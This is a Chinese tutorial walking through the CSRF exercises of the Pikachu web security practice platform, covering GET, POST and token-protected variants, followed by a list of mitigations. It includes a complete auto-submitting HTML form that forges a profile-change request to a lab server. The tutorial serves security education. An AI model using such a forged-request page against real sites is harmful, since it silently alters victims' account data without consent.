pikaqiu练习平台(CSRF(跨站请求伪造) )
CSRF(跨站请求伪造)
CSRF(跨站请求伪造)概述
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。
CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。
如何确认一个网站存在CSRF漏洞:
1. 一个网站对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
比如:修改管理员账号使,不需要验证旧密码
对于敏感信息的修改并没有使用安全的token验证
2. 确认凭证的有效期
比如:虽然退出或者关闭了浏览器,但cookie仍然有效,或者session没有及时过期
一、CSRF(get)

登陆之后,可以修改个人信息,点击提交,然后进行抓包;


将get请求修改为攻击者伪造的请求,在登陆状态下点击,就可以修改用户信息;
用户点击登录,就可以看到敏感信息已经被修改;

二、CSRF(post)

修改个人信息后,提交并抓包;

Post型的不能通过伪造url来进行攻击,跟xss里post型是一致的。攻击者搭一个页面,诱导用户点进来,当用户点击时会自动向存在csrf的服务器提交post请求来修改个人信息。
编写一个post.html页面,将这个页面放在放到 Kali 的/var/www/html/pikachu/doge_csrf下,然后启动 apache 服务
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.27.156/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value=" 123456" />
<input id="add" type="text" name="add" value="beijing" />
<input id="email" type="text" name="email" value="vince@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
诱导用户点击这个链接,就可以修改信息了
http://192.168.17.111/pikachu/doge_csrf/post.html
三、CSRF-token
CSRF的主要问题是敏感操作的链接容易被伪造,解决方法就是每次请求都增加一个随机码(长度足够,够随机),后台每次对这个随机码进行验证;
登录 、修改信息、提交、抓包;


可以看到多出来一个token,这个就代表一个随机值,每次刷新出来的token值都是不一样的;
每次提交完访问的都是token_get_edit.php页面;

查看页面源码,会有一个隐藏的token值,并且也可以看到这个每次都有一个token值,再次刷新之后这个token值就会改变;

防范措施:
1.对敏感信息的操作增加安全的token;
(对关键操作增加token参数,token值必须随机,每次都不一样)
2.安全的会话管理,避免会话被利用
(不在客户端保存敏感信息,比如身份认证信息;
测试直接关闭;
设置会话过期机制,比如15分钟内无操作,则自动登录超时)
3.对敏感信息的操作增加安全的验证码;
(一般在登录时候,也可以在其他重要信息操作的表单<要考虑到可用性>)
4.对敏感信息的操作实施安全的逻辑流程,
(修改密码时,需要先校验旧密码;
敏感信息的修改使用post,而不是get;
通过http头部中的referer来限制页面)
pikaqiu练习平台(CSRF(跨站请求伪造) )的更多相关文章
- 教你轻松解决CSRF跨站请求伪造攻击
摘要:CSRF(Cross-site request forgery)跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站.与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也 ...
- python CSRF跨站请求伪造
python CSRF跨站请求伪造 <!DOCTYPE html> <html lang="en"> <head> <meta chars ...
- Django之CSRF跨站请求伪造(老掉牙的钓鱼网站模拟)
首先这是一个测试的代码 请先在setting页面进行下面操作 注释完成后,开始模拟钓鱼网站的跨站请求伪造操作: 前端代码: <!DOCTYPE html> <html lang=&q ...
- ajax向Django前后端提交请求和CSRF跨站请求伪造
1.ajax登录示例 urls.py from django.conf.urls import url from django.contrib import admin from app01 impo ...
- python 全栈开发,Day87(ajax登录示例,CSRF跨站请求伪造,Django的中间件,自定义分页)
一.ajax登录示例 新建项目login_ajax 修改urls.py,增加路径 from app01 import views urlpatterns = [ path('admin/', admi ...
- 第三百一十五节,Django框架,CSRF跨站请求伪造
第三百一十五节,Django框架,CSRF跨站请求伪造 全局CSRF 如果要启用防止CSRF跨站请求伪造,就需要在中间件开启CSRF #中间件 MIDDLEWARE = [ 'django.midd ...
- Django中的CSRF(跨站请求伪造)
Django中的CSRF(跨站请求伪造) Django CSRF 什么是CSFR 即跨站请求伪装,就是通常所说的钓鱼网站. 钓鱼网站的页面和正经网站的页面对浏览器来说有什么区别? (页面是怎么来的? ...
- Django框架 之 基于Ajax中csrf跨站请求伪造
Django框架 之 基于Ajax中csrf跨站请求伪造 ajax中csrf跨站请求伪造 方式一 1 2 3 $.ajaxSetup({ data: {csrfmiddlewaretoken: ...
- 十三 Django框架,CSRF跨站请求伪造
全局CSRF 如果要启用防止CSRF跨站请求伪造,就需要在中间件开启CSRF #中间件 MIDDLEWARE = [ 'django.middleware.security.SecurityMidd ...
随机推荐
- plsql导出查询结果,导出csv文件。但是类似身份证等超出15位的数据后三位显示问题,和科学计数法的格式问题
问题描述: plsql导出查询结果时,如果使用导出查询结果,使用excelfile会特别慢. 所以我们一般使用csv文件,然后在excel中新建空白文档,在数据菜单中导入数据,但是导出 ...
- Java(二)Arrays工具类
Arrays是一个专门用于操作数组的工具类,该类位于java.util包中. Arrays的常用方法: 1.排序方法 原型:static void sort(int [] a) 功能:对指定的int型 ...
- MySQL优化(三)——主从复制
1.MySQL高可用 主从复制 一主多备 多主多备 2.MySQL主从复制 主机所有写的数据都会生成二进制SQL日志执行文件,从机只 ...
- JSP+Servlet开发物流管理系统 源码
开发环境: Windows操作系统开发工具:Myeclipse+Jdk+Tomcat+MYSQL数据库 运行效果图:
- Dart单例模式最佳实践
/// Created by Capt. Michael @ CaptNotes.com on 02/17/2020. class Singleton { Singleton._(); static ...
- c# 调用c++类库控制usb继电器
网上找不到调用此类库的文章,简单写一下,以备后用. 下面是封装后的调用c++类库的类 public class UsbRelayDeviceHelper { /// <summary> / ...
- js秒数倒计时
代码 /** * 调用回调函数 * @param callback 回调函数体 * @param args 参数 */ execCallback: function (callback, args) ...
- Leetcode Week1 Regular Expression Matching
Question Given an input string (s) and a pattern (p), implement regular expression matching with sup ...
- shell-快速抽样
有时我们需要对文件进行抽样,这时候只需要一个shell命令就可以抽取固定行数的样本:shuf shuf -n $m $file 参数有2: -n: 抽样行数 -r: 是否重复
- C#之Quartz任务调度的使用(2.2.3.400)
这里使用的Quartz版本号为2.2.3.400,.net 框架为4.0. 目的实现一个小案例,每隔一秒钟打印一条记录.后面会附上源码,以供参考. 建立一个 控制台程序. 代码: class Pro ...